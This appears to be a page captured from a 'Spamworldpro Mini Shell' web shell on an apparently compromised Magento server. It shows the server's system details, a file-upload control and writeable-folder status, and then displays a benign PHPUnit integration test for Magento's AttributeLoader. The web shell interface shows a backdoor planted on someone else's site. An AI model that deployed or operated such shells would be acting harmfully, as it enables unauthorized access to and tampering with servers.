Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Eav/Model/Entity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Eav/Model/Entity/AttributeLoaderTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Eav\Model\Entity;

use Magento\Framework\DataObject;
use Magento\TestFramework\Helper\Bootstrap;
use Magento\TestFramework\Helper\CacheCleaner;

/**
 * @magentoAppIsolation enabled
 * @magentoDataFixture Magento/Eav/_files/attribute_for_search.php
 */
class AttributeLoaderTest extends \PHPUnit\Framework\TestCase
{
    /**
     * @var AttributeLoader
     */
    private $attributeLoader;

    /**
     * @var \Magento\Framework\ObjectManagerInterface
     */
    private $objectManager;

    /**
     * @var \Magento\Eav\Model\Entity\AbstractEntity
     */
    private $resource;

    protected function setUp(): void
    {
        $this->objectManager = Bootstrap::getObjectManager();
        $this->attributeLoader = $this->objectManager->get(AttributeLoader::class);
        $entityType = $this->objectManager->create(\Magento\Eav\Model\Entity\Type::class)
            ->loadByCode('test');
        $context = $this->objectManager->get(\Magento\Eav\Model\Entity\Context::class);
        $this->resource = $this->getMockBuilder(\Magento\Eav\Model\Entity\AbstractEntity::class)
            ->setConstructorArgs([$context])
            ->setMethods(['getEntityType', 'getLinkField'])
            ->getMock();
        $this->resource->method('getEntityType')
            ->willReturn($entityType);
        $this->resource->method('getLinkField')
            ->willReturn('link_field');
    }

    /**
     * @param int $expectedNumOfAttributesByCode
     * @param int $expectedNumOfAttributesByTable
     * @param DataObject|null $object
     * @dataProvider loadAllAttributesDataProvider
     */
    public function testLoadAllAttributesTheFirstTime(
        $expectedNumOfAttributesByCode,
        $expectedNumOfAttributesByTable,
        $object
    ) {
        // Before load all attributes
        $attributesByCode = $this->resource->getAttributesByCode();
        $attributesByTable = $this->resource->getAttributesByTable();
        $this->assertCount(0, $attributesByCode);
        $this->assertCount(0, $attributesByTable);

        // Load all attributes
        $resource2 = $this->attributeLoader->loadAllAttributes(
            $this->resource,
            $object
        );
        $attributesByCode2 = $resource2->getAttributesByCode();
        $attributesByTable2 = $resource2->getAttributesByTable();
        $this->assertEquals($expectedNumOfAttributesByCode, count($attributesByCode2));
        $this->assertEquals($expectedNumOfAttributesByTable, count($attributesByTable2));
    }

    public function loadAllAttributesDataProvider()
    {
        /** @var \Magento\Eav\Model\Entity\Type $entityType */
        $entityType = Bootstrap::getObjectManager()->create(\Magento\Eav\Model\Entity\Type::class)
            ->loadByCode('order');
        $attributeSetId = $entityType->getDefaultAttributeSetId();
        return [
            [
                13,
                2,
                null
            ],
            [
                10,
                1,
                new DataObject(
                    [
                        'attribute_set_id' => $attributeSetId,
                        'store_id' => 0
                    ]
                ),
            ],
            [
                10,
                1,
                new DataObject(
                    [
                        'attribute_set_id' => $attributeSetId,
                        'store_id' => 10
                    ]
                ),
            ],
        ];
    }

    /**
     * @inheritDoc
     */
    protected function tearDown(): void
    {
        parent::tearDown();
        $reflection = new \ReflectionObject($this);
        foreach ($reflection->getProperties() as $property) {
            if (!$property->isStatic() && 0 !== strpos($property->getDeclaringClass()->getName(), 'PHPUnit')) {
                $property->setAccessible(true);
                $property->setValue($this, null);
            }
        }
    }
}

Spamworldpro Mini